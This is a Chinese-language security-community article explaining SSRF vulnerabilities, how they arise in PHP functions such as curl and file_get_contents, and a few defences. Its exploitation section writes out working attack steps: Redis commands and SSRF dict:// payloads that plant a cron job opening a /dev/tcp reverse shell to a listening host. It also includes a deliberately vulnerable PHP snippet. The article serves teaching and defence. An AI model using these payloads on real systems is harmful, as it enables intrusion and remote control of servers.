ssrf漏洞分析及修复

xiao1star2026-01-20文章来源:SecHub网络安全社区


ssrf(服务器端请求伪造)

是一种由攻击者构造形成由服务端发起请求的一个安全漏洞,其目标是从外网无法访问的内部系统。


原理

由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

  • 可以用来探测内网(端口扫描)
  • 攻击内网的一些中间件
  • 读取本地任意文件(通过file://协议)
  • 发起cc攻击(借助代理服务器生成指向受害主机的合法请求

202407231649840.png

漏洞利用


redis未授权访问漏洞反弹shell

redis的默认端口6379

redis未授权访问漏洞原理:redis的备份文件路径和名称都可以自定义(把所有的key存到一个文件中去)


通过redis的定时任务来进行shell的反弹

  1. 连接redis
redis-cil -h 安装redis的ip地址
  1. 测试redis是否有密码
KEY *(也可以用来查变量列表)

呈现下图表示没有密码

202407231743161.png

  1. 建立一个反弹shell的key

    set ggbond "\n\n\n*/1 * * * * * /bin/bash -i >& /dev/tcp/公网ip/端口>&1\n\n"
    
  2. 将建立的key放到定时任务的目录中

CONFIG set dir /var/spool/cron
CONFIG set dbfilename root

202407231745394.png

在10.0.0.131的主机下监听8888端口,发现成功反弹shell

202407231747991.png

ssrf往内网redis写入反弹shell

1.首先进行端口扫描查看是否打开redis的端口(6379)

202407241006226.png

2.若发现该端口存在之后使用将key保存在定时目录中

?url=dict://10.0.0.148:6379/config:set:dir:/var/spool/cron

202407241027649.png

3.将key保存在定时任务的root文件中

?url=dict://10.0.0.148:6379/config:set:dbfilename/root

4.编写反弹shell

?url=dict://10.0.0.148:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2ax20\x2a\x20\x2a\x20/bin/bash
x20\x2di\x20\x3e\x26\x20/dev/tcp/10.0.0.131/8888\x200\x3e\x261\n\n"

202407241031169.png

4.保存

?url=dict://10.0.0.148:6379/save

202407241031883.png

发现成功写入反弹shell

202407241032571.png

同时也成功监听

202407241033760.png

产生ssrf的函数

curl函数

PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。

libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。


  • curl_init()—初始化一个curl会话
  • curl_setopt()–设置一个curl传输选项
  • curl_exec()–执行一个curl会话

202407241122186.png

file_get_contents

它既可以用于读取本地文件的内容,也可以用于发起 HTTP 请求获取远程资源


下面代码是从用户指定的url中获取图片,然后把它用一个随机文件名进行保存并展示给用户

<? if(isset($_POST['url'])) { $content=file_get_contents($_POST['url']);//下载一个图片的url $filename='./images/'.rand().';img1.jpg'; file_put_contents($filename,$content);//将图片放到filename的路径下 echo $_POST['url']; $img="<img src=\"".$filename."\"/>" echo $img; ?>

sockopen()

以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。


202407241143664.png

ssrf防御

  1. 黑名单内网ip:避免应用被用来获取内网数据,攻击内网
  2. 仅仅允许http和https请求,可以防止file://,gopher://,ftp://等引起的问题。可以使用prase_url()函数来解析url从而获取url的协议

202407241159518.png

  1. 限制请求的端口为HTTP常用的端口,比如80,443,8080,8090